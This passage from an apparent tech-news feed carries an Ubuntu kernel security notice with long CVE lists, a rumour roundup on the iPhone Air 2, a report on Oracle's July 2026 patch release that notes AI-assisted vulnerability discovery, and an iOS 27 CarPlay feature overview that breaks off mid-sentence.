CVE-2026-53098, CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865, CVE-2026-64164)

USN-8593-1: Linux kernel vulnerabilities

Thu, 23 Jul 2026 09:46:45 +0200

It was discovered that some AMD Zen 2 processors did not properly isolate shared resources in the operation cache. A local attacker could possibly use this issue to corrupt instructions executed at a higher privilege level, resulting in privilege escalation. (CVE-2025-54518) Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - x86 platform drivers; - PSP security protocol; - ARM32 architecture; - ARM64 architecture; - MIPS architecture; - PowerPC architecture; - RISC-V architecture; - S390 architecture; - User-Mode Linux (UML); - x86 architecture; - Block layer subsystem; - Cryptographic API; - Intel NPU Driver; - Compute Acceleration Framework; - ACPI drivers; - Auxiliary display drivers; - Drivers core; - DRBD Distributed Replicated Block Device drivers; - Rados block device (RBD) driver; - Ublk userspace block driver; - Compressed RAM block device driver; - Bluetooth drivers; - Bus devices; - Character device driver; - Clock framework and drivers; - CPU frequency scaling framework; - Hardware crypto device drivers; - Buffer Sharing and Synchronization framework; - DPLL subsystem; - EDAC drivers; - Arm Firmware Framework for ARMv8-A(FFA); - EFI core; - FWCTL subsystem; - GPIO subsystem; - GPU drivers; - HID subsystem; - Hardware monitoring drivers; - I2C subsystem; - I3C subsystem; - IIO ADC drivers; - IIO subsystem; - InfiniBand drivers; - Input Device core drivers; - IOMMU subsystem; - Mailbox framework; - Multiple devices driver; - Media drivers; - NVIDIA Tegra memory controller driver; - MTD block device drivers; - Network drivers; - Ethernet bonding driver; - Mellanox network drivers; - Microsoft Azure Network Adapter (MANA) driver; - STMicroelectronics network drivers; - Texas Instruments network drivers; - MediaTek network drivers; - NVME drivers; - Parport drivers; - PCI subsystem; - Pin controllers subsystem; - Chrome hardware platform drivers; - ACPI WMI driver; - Generic PM domains; - MediaTek PM domains; - Power supply drivers; - MPAM driver; - Amlogic Meson reset controller drivers; - S/390 drivers; - SCSI subsystem; - NVIDIA Tegra Control Backbone (CBB) driver; - SPI subsystem; - Greybus lights staging drivers; - Media staging drivers; - Realtek RTL8723BS SDIO drivers; - TCM subsystem; - Thunderbolt and USB4 drivers; - TTY drivers; - Userspace I/O drivers; - USB Device Class drivers; - ULPI bus; - DesignWare USB2 driver; - USB Gadget drivers; - USB Dual Role (OTG-ready) Controller drivers; - USB Serial drivers; - USB Type-C support driver; - USB Type-C Port Controller Manager driver; - TI TPS6598x USB Power Delivery controller driver; - USB Type-C Connector System Software Interface driver; - USB over IP driver; - vDPA drivers; - VFIO drivers; - Framebuffer layer; - TSM AMD SEV Guest driver; - Xen hypervisor drivers; - 9P distributed file system; - File systems infrastructure; - AFS file system; - BTRFS file system; - Ceph distributed file system; - EROFS file system; - F2FS file system; - FUSE (File system in Userspace); - GFS2 file system; - HFS+ file system; - HugeTLB file system; - Network file systems library; - Network file system (NFS) server daemon; - NILFS2 file system; - File system notification infrastructure; - NTFS3 file system; - OCFS2 file system; - Overlay file system; - Diskquota system; - SMB network file system; - Tracing file system; - UDF file system; - DRM TTM subsystem; - Control group (cgroup); - Kernel CPU control infrastructure; - Tracing infrastructure; - QorIQ DPAA2 FSL-MC bus driver; - Freescale ENETC Ethernet drivers; - Memory management; - Memory Management; - Linked list library; - Netfilter; - padata parallel execution mechanism; - PPP protocol drivers and compressors; - Bluetooth subsystem; - Networking core; - Network shaper API; - Network traffic control; - TCP network protocol; - XFRM subsystem; - io_uring subsystem; - IPC subsystem; - Audit subsystem; - BPF subsystem; - DMA mapping infrastructure; - Kernel exit() syscall; - Kernel fork() syscall; - Kernel futex primitives; - IRQ subsystem; - Kexec HandOver (KHO); - Padata parallel execution mechanism; - Scheduler infrastructure; - Cryptographic library; - KProbes tracing; - 802.1Q VLAN protocol; - B.A.T.M.A.N. meshing protocol; - Ethernet bridge; - Ceph Core library; - Distributed Switch Architecture; - Ethtool driver; - Handshake API; - HSR network protocol; - IPv4 networking; - IPv6 networking; - IUCV driver; - L2TP protocol; - MAC80211 subsystem; - Multipath TCP; - NFC subsystem; - Open vSwitch; - Phonet protocol; - RDS protocol; - RxRPC session sockets; - SCTP protocol; - SMC sockets; - TIPC protocol; - TLS protocol; - Unix domain sockets; - VMware vSockets driver; - Wireless networking; - Integrity Measurement Architecture(IMA) framework; - Key management; - Linux Security Modules (LSM) Framework; - SELinux security module; - ALSA framework; - HD-audio driver; - AudioScience HPI driver; - FourSemi audio codecs; - Texas InstrumentS Audio (ASoC/HDA) drivers; - QCOM ASoC drivers; - Renesas ASoC drivers; - SOF drivers; - STI ASoC drivers; - USB sound devices; - KVM subsystem; (CVE-2026-43490, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496, CVE-2026-43497, CVE-2026-43498, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45837, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-46104, CVE-2026-46105, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46109, CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114, CVE-2026-46116, CVE-2026-46117, CVE-2026-46118, CVE-2026-46120, CVE-2026-46121, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125, CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129, CVE-2026-46130, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46134, CVE-2026-46136, CVE-2026-46138, CVE-2026-46139, CVE-2026-46140, CVE-2026-46141, CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46147, CVE-2026-46148, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46153, CVE-2026-46154, CVE-2026-46156, CVE-2026-46157, CVE-2026-46158, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46162, CVE-2026-46163, CVE-2026-46164, CVE-2026-46165, CVE-2026-46166, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169, CVE-2026-46170, CVE-2026-46171, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174, CVE-2026-46175, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180, CVE-2026-46181, CVE-2026-46182, CVE-2026-46183, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46188, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46192, CVE-2026-46193, CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46202, CVE-2026-46203, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46210, CVE-2026-46211, CVE-2026-46212, CVE-2026-46213, CVE-2026-46214, CVE-2026-46215, CVE-2026-46216, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46221, CVE-2026-46222, CVE-2026-46223, CVE-2026-46224, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46228, CVE-2026-46229, CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46239, CVE-2026-46240, CVE-2026-46241, CVE-2026-46242, CVE-2026-46273, CVE-2026-46274, CVE-2026-46275, CVE-2026-46290, CVE-2026-46291, CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46295, CVE-2026-46296, CVE-2026-46297, CVE-2026-46298, CVE-2026-46299, CVE-2026-46301, CVE-2026-46302, CVE-2026-46303, CVE-2026-46304, CVE-2026-46305, CVE-2026-46306, CVE-2026-46307, CVE-2026-46308, CVE-2026-46309, CVE-2026-46310, CVE-2026-46311, CVE-2026-46312, CVE-2026-46313, CVE-2026-46314, CVE-2026-46315, CVE-2026-46317, CVE-2026-46318, CVE-2026-46319, CVE-2026-46320, CVE-2026-46321, CVE-2026-46322, CVE-2026-46324, CVE-2026-52911, CVE-2026-52912, CVE-2026-52913, CVE-2026-52914, CVE-2026-52915, CVE-2026-52916, CVE-2026-52918, CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922, CVE-2026-52923, CVE-2026-52925, CVE-2026-52926, CVE-2026-52927, CVE-2026-52928, CVE-2026-52931, CVE-2026-52932, CVE-2026-52934, CVE-2026-52936, CVE-2026-52937, CVE-2026-52941, CVE-2026-52943, CVE-2026-52944, CVE-2026-52949, CVE-2026-52950, CVE-2026-52951, CVE-2026-52952, CVE-2026-52953, CVE-2026-52954, CVE-2026-52955, CVE-2026-52956, CVE-2026-52957, CVE-2026-52958, CVE-2026-52959, CVE-2026-52960, CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52965, CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52971, CVE-2026-52973, CVE-2026-52974, CVE-2026-52975, CVE-2026-52976, CVE-2026-52977, CVE-2026-52978, CVE-2026-52979, CVE-2026-52980, CVE-2026-52981, CVE-2026-52982, CVE-2026-52983, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52987, CVE-2026-52988, CVE-2026-52989, CVE-2026-52990, CVE-2026-52991, CVE-2026-52992, CVE-2026-52993, CVE-2026-52994, CVE-2026-52995, CVE-2026-52996, CVE-2026-52997, CVE-2026-52998, CVE-2026-52999, CVE-2026-53000, CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53005, CVE-2026-53006, CVE-2026-53007, CVE-2026-53008, CVE-2026-53009, CVE-2026-53010, CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015, CVE-2026-53016, CVE-2026-53017, CVE-2026-53018, CVE-2026-53019, CVE-2026-53020, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53024, CVE-2026-53025, CVE-2026-53026, CVE-2026-53027, CVE-2026-53028, CVE-2026-53029, CVE-2026-53030, CVE-2026-53031, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53038, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53042, CVE-2026-53043, CVE-2026-53044, CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050, CVE-2026-53051, CVE-2026-53052, CVE-2026-53053, CVE-2026-53054, CVE-2026-53055, CVE-2026-53056, CVE-2026-53057, CVE-2026-53058, CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53067, CVE-2026-53068, CVE-2026-53069, CVE-2026-53070, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077, CVE-2026-53078, CVE-2026-53079, CVE-2026-53080, CVE-2026-53081, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085, CVE-2026-53086, CVE-2026-53087, CVE-2026-53088, CVE-2026-53089, CVE-2026-53090, CVE-2026-53091, CVE-2026-53092, CVE-2026-53093, CVE-2026-53094, CVE-2026-53095, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53099, CVE-2026-53100, CVE-2026-53101, CVE-2026-53102, CVE-2026-53103, CVE-2026-53104, CVE-2026-53105, CVE-2026-53106, CVE-2026-53107, CVE-2026-53108, CVE-2026-53109, CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53113, CVE-2026-53114, CVE-2026-53115, CVE-2026-53116, CVE-2026-53117, CVE-2026-53118, CVE-2026-53119, CVE-2026-53120, CVE-2026-53121, CVE-2026-53122, CVE-2026-53123, CVE-2026-53124, CVE-2026-53125, CVE-2026-53126, CVE-2026-53127, CVE-2026-53128, CVE-2026-53129, CVE-2026-53130, CVE-2026-53174, CVE-2026-53277, CVE-2026-53278, CVE-2026-53279, CVE-2026-53280, CVE-2026-53281, CVE-2026-53282, CVE-2026-53283, CVE-2026-53284, CVE-2026-53285, CVE-2026-53286, CVE-2026-53287, CVE-2026-53288, CVE-2026-53289, CVE-2026-53290, CVE-2026-53291, CVE-2026-53292, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295, CVE-2026-53296, CVE-2026-53297, CVE-2026-53298, CVE-2026-53299, CVE-2026-53300, CVE-2026-53301, CVE-2026-53302, CVE-2026-53303, CVE-2026-53304, CVE-2026-53305, CVE-2026-53306, CVE-2026-53307, CVE-2026-53308, CVE-2026-53309, CVE-2026-53310, CVE-2026-53311, CVE-2026-53312, CVE-2026-53313, CVE-2026-53314, CVE-2026-53315, CVE-2026-53316, CVE-2026-53317, CVE-2026-53318, CVE-2026-53319, CVE-2026-53320, CVE-2026-53321, CVE-2026-53322, CVE-2026-53323, CVE-2026-53324, CVE-2026-53357, CVE-2026-53358, CVE-2026-53360, CVE-2026-53364, CVE-2026-53365, CVE-2026-53367, CVE-2026-53368, CVE-2026-53369, CVE-2026-53370, CVE-2026-53371, CVE-2026-53372, CVE-2026-53373, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53377, CVE-2026-53378, CVE-2026-53379, CVE-2026-53380, CVE-2026-63837, CVE-2026-63838, CVE-2026-63839, CVE-2026-63840, CVE-2026-63841, CVE-2026-63842, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63849, CVE-2026-63850, CVE-2026-63851, CVE-2026-63852, CVE-2026-63853, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856, CVE-2026-63857, CVE-2026-63858, CVE-2026-63859, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63863, CVE-2026-63864, CVE-2026-63865, CVE-2026-63866, CVE-2026-63875, CVE-2026-63876, CVE-2026-63877, CVE-2026-63878, CVE-2026-63879, CVE-2026-63880, CVE-2026-63881, CVE-2026-63882, CVE-2026-63883, CVE-2026-63884, CVE-2026-63886, CVE-2026-63887, CVE-2026-63888, CVE-2026-63889, CVE-2026-63890, CVE-2026-63891, CVE-2026-63892, CVE-2026-63893, CVE-2026-63894, CVE-2026-63895, CVE-2026-63896, CVE-2026-63897, CVE-2026-63898, CVE-2026-63899, CVE-2026-63900, CVE-2026-63901, CVE-2026-63902, CVE-2026-63903, CVE-2026-63904, CVE-2026-63905, CVE-2026-63906, CVE-2026-63907, CVE-2026-63908, CVE-2026-63909, CVE-2026-63910, CVE-2026-63911, CVE-2026-63912, CVE-2026-63913, CVE-2026-63914, CVE-2026-63915, CVE-2026-63916, CVE-2026-63917, CVE-2026-63918, CVE-2026-63919, CVE-2026-63920, CVE-2026-63921, CVE-2026-63922, CVE-2026-63923, CVE-2026-63924, CVE-2026-63925, CVE-2026-63926, CVE-2026-63927, CVE-2026-63928, CVE-2026-63929, CVE-2026-63930, CVE-2026-63931, CVE-2026-63932, CVE-2026-63933, CVE-2026-63934, CVE-2026-63935, CVE-2026-63936, CVE-2026-63937, CVE-2026-63938, CVE-2026-63939, CVE-2026-63940, CVE-2026-63941, CVE-2026-63942, CVE-2026-63943, CVE-2026-63944, CVE-2026-63945, CVE-2026-63946, CVE-2026-63947, CVE-2026-63948, CVE-2026-63949, CVE-2026-63950, CVE-2026-63951, CVE-2026-63952, CVE-2026-63953, CVE-2026-63954, CVE-2026-63955, CVE-2026-63956, CVE-2026-63957, CVE-2026-63958, CVE-2026-63959, CVE-2026-63960, CVE-2026-63961, CVE-2026-63962, CVE-2026-63963, CVE-2026-63964, CVE-2026-63965, CVE-2026-63966, CVE-2026-63967, CVE-2026-63968, CVE-2026-63969, CVE-2026-63970, CVE-2026-63971, CVE-2026-63972, CVE-2026-63973, CVE-2026-63974, CVE-2026-63975, CVE-2026-63976, CVE-2026-63977, CVE-2026-63978, CVE-2026-63979, CVE-2026-63980, CVE-2026-63981, CVE-2026-63982, CVE-2026-63983, CVE-2026-63984, CVE-2026-63985, CVE-2026-63986, CVE-2026-63987, CVE-2026-63988, CVE-2026-63989, CVE-2026-63990, CVE-2026-63991, CVE-2026-63992, CVE-2026-63993, CVE-2026-63994, CVE-2026-63995, CVE-2026-63996, CVE-2026-63997, CVE-2026-63998, CVE-2026-63999, CVE-2026-64000, CVE-2026-64001, CVE-2026-64002, CVE-2026-64003, CVE-2026-64004, CVE-2026-64005, CVE-2026-64006, CVE-2026-64007, CVE-2026-64008, CVE-2026-64009, CVE-2026-64010, CVE-2026-64011, CVE-2026-64012, CVE-2026-64013, CVE-2026-64014, CVE-2026-64015, CVE-2026-64017, CVE-2026-64018, CVE-2026-64019, CVE-2026-64020, CVE-2026-64021, CVE-2026-64022, CVE-2026-64023, CVE-2026-64024, CVE-2026-64025, CVE-2026-64026, CVE-2026-64027, CVE-2026-64029, CVE-2026-64030, CVE-2026-64031, CVE-2026-64032, CVE-2026-64033, CVE-2026-64034, CVE-2026-64035, CVE-2026-64036, CVE-2026-64037, CVE-2026-64038, CVE-2026-64039, CVE-2026-64040, CVE-2026-64041, CVE-2026-64042, CVE-2026-64043, CVE-2026-64044, CVE-2026-64045, CVE-2026-64046, CVE-2026-64047, CVE-2026-64048, CVE-2026-64049, CVE-2026-64050, CVE-2026-64051, CVE-2026-64052, CVE-2026-64053, CVE-2026-64054, CVE-2026-64055, CVE-2026-64056, CVE-2026-64057, CVE-2026-64058, CVE-2026-64059, CVE-2026-64060, CVE-2026-64061, CVE-2026-64062, CVE-2026-64063, CVE-2026-64064, CVE-2026-64065, CVE-2026-64066, CVE-2026-64067, CVE-2026-64068, CVE-2026-64069, CVE-2026-64070, CVE-2026-64071, CVE-2026-64072, CVE-2026-64073, CVE-2026-64074, CVE-2026-64075, CVE-2026-64076, CVE-2026-64077, CVE-2026-64078, CVE-2026-64079, CVE-2026-64080, CVE-2026-64081, CVE-2026-64082, CVE-2026-64083, CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087, CVE-2026-64088, CVE-2026-64089, CVE-2026-64090, CVE-2026-64091, CVE-2026-64093, CVE-2026-64094, CVE-2026-64095, CVE-2026-64096, CVE-2026-64097, CVE-2026-64098, CVE-2026-64099, CVE-2026-64100, CVE-2026-64101, CVE-2026-64102, CVE-2026-64103, CVE-2026-64104, CVE-2026-64105, CVE-2026-64106, CVE-2026-64107, CVE-2026-64108, CVE-2026-64109, CVE-2026-64110, CVE-2026-64111, CVE-2026-64112, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115, CVE-2026-64116, CVE-2026-64117, CVE-2026-64118, CVE-2026-64119, CVE-2026-64120, CVE-2026-64121, CVE-2026-64122, CVE-2026-64123, CVE-2026-64124, CVE-2026-64125, CVE-2026-64126, CVE-2026-64127, CVE-2026-64128, CVE-2026-64129, CVE-2026-64130, CVE-2026-64131, CVE-2026-64132, CVE-2026-64133, CVE-2026-64134, CVE-2026-64135, CVE-2026-64136, CVE-2026-64137, CVE-2026-64138, CVE-2026-64139, CVE-2026-64140, CVE-2026-64141, CVE-2026-64142, CVE-2026-64143, CVE-2026-64144, CVE-2026-64145, CVE-2026-64146, CVE-2026-64147, CVE-2026-64148, CVE-2026-64149, CVE-2026-64150, CVE-2026-64151, CVE-2026-64152, CVE-2026-64153, CVE-2026-64154, CVE-2026-64155, CVE-2026-64156, CVE-2026-64157, CVE-2026-64158, CVE-2026-64159, CVE-2026-64160, CVE-2026-64161, CVE-2026-64162, CVE-2026-64163, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166, CVE-2026-64167, CVE-2026-64168, CVE-2026-64169, CVE-2026-64170, CVE-2026-64171, CVE-2026-64172, CVE-2026-64173, CVE-2026-64174, CVE-2026-64175, CVE-2026-64176, CVE-2026-64177, CVE-2026-64178, CVE-2026-64179, CVE-2026-64180, CVE-2026-64181, CVE-2026-64182, CVE-2026-64183, CVE-2026-64184, CVE-2026-64185, CVE-2026-64186)

iPhone Air 2 Release Date, Features, Camera, Battery and Everything We Know

Thu, 23 Jul 2026 09:13:24 +0200

Apple is already working on the second-generation iPhone Air, and early reports suggest it will fix several of the biggest complaints about the first model. While the original iPhone Air impressed buyers with its ultra-thin design, many users wanted better cameras, longer battery life, and improved sustained performance. The upcoming iPhone Air 2 is expected to bring meaningful hardware upgrades while keeping the slim design that defines the Air lineup. Apple also appears to be changing its iPhone launch strategy, which means the next Air model may not arrive alongside the Pro models as many expected. iPhone Air 2 at a glance FeatureExpected DetailsRelease windowSpring 2027ProcessorA20 Pro built on 2nm processRear camerasDual cameras with Wide + Ultra WideBatteryAround 3,500mAhCoolingVapor chamber coolingDesignSimilar ultra-thin chassis Will Apple release an iPhone Air 2? There were reports earlier that Apple had paused development because the first iPhone Air did not sell as well as expected. Later reports clarified that Apple had not canceled the device. Instead, the company shifted its roadmap and continues to develop a second-generation model, which is currently believed to be in advanced testing under the internal codename V62. A second rear camera is finally coming The biggest limitation of the current iPhone Air is its single rear camera. Apple reportedly plans to solve that by adding a second lens. Instead of using a telephoto camera, the company is expected to include an Ultra Wide sensor. This setup would match Apple's standard iPhone models and make the Air much more versatile for photography. Expected camera improvements 48MP primary Wide camera Ultra Wide secondary camera Better landscape photography Improved macro capabilities More flexibility for video recording A telephoto lens is still expected to remain exclusive to Pro models. A20 Pro chip with 2nm technology Another major upgrade is the processor. The iPhone Air 2 is expected to use Apple's new A20 Pro chip, making it one of the first iPhones built on a 2-nanometer manufacturing process. Apple is also expected to adopt Wafer-Level Multi-Chip Module technology, which integrates memory and the processor more efficiently. This design should improve both performance and power efficiency. Expected benefits Faster CPU performance Better graphics performance Lower power consumption Improved AI processing Longer battery life through better efficiency Bigger battery without sacrificing thinness Battery life was another common complaint about the first iPhone Air. Apple reportedly plans to address that with both hardware and silicon improvements. Supply chain information suggests the iPhone Air 2 will include a battery around 3,500mAh, compared to the current 3,149mAh battery. That represents roughly an 11 percent increase in capacity before accounting for the efficiency gains from the A20 Pro chip. While Apple has not confirmed real-world battery figures, users should expect noticeably longer endurance than the current generation. Vapor chamber cooling arrives Apple first introduced vapor chamber cooling on its Pro iPhones, and the technology is now expected to reach the Air lineup. This cooling system spreads heat more effectively across the phone, allowing the processor to maintain higher performance during demanding workloads. That means users can expect: Better gaming performance Less thermal throttling Cooler temperatures during extended use More stable performance while editing videos or using AI features Expected release date Apple originally planned to launch the iPhone Air 2 alongside the iPhone 18 Pro lineup in September 2026. More recent reports point to a different strategy. Apple is now expected to launch: ProductExpected launchiPhone 18 ProFall 2026iPhone 18 Pro MaxFall 2026Foldable iPhoneFall 2026iPhone 18Spring 2027iPhone Air 2Spring 2027 This split launch schedule would allow Apple to focus premium devices in the fall while introducing mainstream models several months later. Wrap Up Based on current reports, the iPhone Air 2 looks like a much more complete device than its predecessor. A second rear camera, a larger battery, a faster A20 Pro chip, and vapor chamber cooling directly address the biggest compromises of the first-generation model while preserving its ultra-thin design. As with all early Apple leaks, these details remain unofficial until the company makes an announcement. If the current roadmap stays on track, the iPhone Air 2 should arrive in spring 2027 with a stronger feature set and a better balance between portability and everyday performance.

Oracle July 2026 Patch Fixes 1,434 CVEs Across 334 Products

Thu, 23 Jul 2026 09:11:07 +0200

Oracle has released its July 2026 Critical Patch Update, delivering one of its largest quarterly security releases to date. The latest Oracle security patch addresses more than 1,400 vulnerabilities across hundreds of products, with the company indicating that artificial intelligence likely played a significant role in identifying most of the flaws. According to Oracle, the July 2026 Critical Patch Update contains 1,449 security patches, covering 1,434 unique Common Vulnerabilities and Exposures (CVEs) across 334 products.

July 2026 Critical Patch Update Covers Hundreds of Oracle Products

The latest Oracle security patch spans a wide range of enterprise products and platforms. Among the affected products are Database Server, Oracle APEX, Autonomous Health Framework, Essbase, Global Lifecycle Management, GoldenGate, NoSQL Database, Spatial Studio, SQL Developer, TimesTen In-Memory Database, Application Testing Suite, Commerce, Communications, Construction and Engineering, and E-Business Suite. The July 2026 Critical Patch Update also includes security fixes for Enterprise Manager, Financial Services Applications, Food and Beverage Applications, Fusion Middleware, Analytics, HealthCare Applications, Hospitality Applications, Java SE, JD Edwards, MySQL, PeopleSoft, Retail Applications, Siebel CRM, Supply Chain, Systems, Utilities Applications, and Virtualization. By addressing vulnerabilities across such an extensive product lineup, the Oracle security patch aims to reduce the risk posed by security weaknesses that could affect organizations running Oracle technologies in production environments.

Hundreds of Vulnerabilities Can Be Exploited Remotely

A notable aspect of the July 2026 Critical Patch Update is the number of flaws that attackers could potentially exploit without requiring authentication. Oracle stated that roughly 600 of the patches fix vulnerabilities that can be exploited remotely by unauthenticated attackers. In addition, hundreds of the addressed security flaws have been assigned critical severity ratings, emphasizing the importance of applying the latest Oracle security patch without delay. Among Oracle's products, the highest number of vulnerabilities were addressed in:

E-Business Suite: 410 vulnerabilities
Fusion Middleware: 355 vulnerabilities
Communications: 168 vulnerabilities
PeopleSoft: 84 vulnerabilities

These figures highlight that some of Oracle's most widely deployed enterprise applications received a significant share of the security fixes included in the quarterly update.

AI-Driven Vulnerability Discovery Appears to Have Played a Major Role

One of the most notable aspects of the July 2026 Critical Patch Update is Oracle's growing use of artificial intelligence for security research. Only a few dozen of the vulnerabilities included in the release were credited to external security researchers. This indicates that the overwhelming majority of the discovered flaws were identified internally, likely with the assistance of AI-driven vulnerability analysis. Earlier this year, Oracle disclosed that it has access to leading artificial intelligence systems, including Anthropic's Claude Mythos and OpenAI's most capable models. According to the company, these AI technologies are being used to accelerate vulnerability discovery and improve the speed and accuracy of security patch development. Oracle also said it is applying this AI-driven vulnerability approach across its own software and cloud services, Oracle Health offerings, and the open source components that it both develops and depends on.

Organizations Urged to Apply the Oracle Security Patch Promptly

The release of the July 2026 Critical Patch Update comes amid continued efforts by threat actors to exploit vulnerabilities in enterprise software before organizations can deploy security updates. Oracle product vulnerabilities have previously been targeted in real-world attacks. The company cited examples that include the exploitation of a PeopleSoft zero-day vulnerability as well as a recently patched Oracle E-Business Suite (EBS) vulnerability. Given the number of remotely exploitable and high-severity issues resolved in the Oracle security patch, organizations using affected Oracle products are advised to install the updates as soon as possible. Prompt deployment can help reduce exposure to attacks that take advantage of publicly known vulnerabilities before systems are secured. With 1,449 security patches addressing 1,434 unique CVEs across 334 products, the July 2026 Critical Patch Update represents one of Oracle's most extensive quarterly security releases.

iOS 27 CarPlay: Every New Feature Coming This Fall

Thu, 23 Jul 2026 08:57:19 +0200

Apple is bringing several useful upgrades to CarPlay with iOS 27, making the in-car experience smarter, more interactive, and easier to use. While this is not the biggest CarPlay update ever released, it introduces meaningful improvements across Siri, media playback, video apps, and the overall interface. The biggest highlight is Siri AI, which finally gives CarPlay a more capable voice assistant. Alongside that, Apple has expanded video support, refreshed the design, and added quality-of-life improvements for media controls. Most of these features will arrive when iOS 27 launches publicly this fall, although some will depend on whether automakers enable support in their vehicles. FeatureWhat's NewAvailabilitySiri AISmarter conversations, context memory, synced historyAll supported CarPlay usersVideo AppsNative video browsing and playback appsSupported vehicles onlyNew WallpapersFresh wallpapers matching iOS 27 designAll usersLiquid Glass IconsUpdated app icons across CarPlayAll usersMiniPlayerAlbum artwork and playback controlsSupported media appsAudio ScrubbingDrag through songs and podcastsSupported media apps Siri AI Makes CarPlay Much Smarter The biggest improvement in iOS 27 is the arrival of Siri AI inside CarPlay. Apple has redesigned Siri with a cleaner interface that appears as a glowing orb at the bottom of the screen. The design is simpler than previous Apple Intelligence versions while remaining easy to recognize during driving. More importantly, Siri now understands natural conversations much better. Instead of responding to one question at a time, it remembers the context of your conversation, allowing follow-up questions without repeating the original request. This makes navigation, messaging, and general information requests feel much more natural. Siri AI also answers broader knowledge questions in a way that feels similar to modern AI assistants. Whether you ask about travel plans, nearby places, or general information, the responses are more detailed and conversational than before. Siri Conversation History Sync Apple has also introduced conversation syncing between CarPlay and the new Siri app on iPhone. After using Siri in your car, you can open the Siri app on your iPhone and review previous conversations. Requests made through CarPlay are clearly marked with a small car icon, making it easy to continue a conversation after leaving your vehicle. Native Video Apps Come to CarPlay Apple first introduced video playback in cars through AirPlay, but iOS 27 expands the experience much further. Developers can now build dedicated CarPlay video apps that allow users to browse their content directly from the vehicle's display instead of relying entirely on the iPhone interface. This means supported streaming services can provide a complete CarPlay experience while the vehicle is parked. Important limitations Videos only play while the vehicle is stationary. Playback stops when driving begins and switches to audio if supported. Vehicle manufacturers must enable this feature. Older vehicles may never receive support. citeturn0search1turn0search4 Refreshed CarPlay Design Apple has updated the visual appearance of CarPlay to match the rest of iOS 27. Users receive a 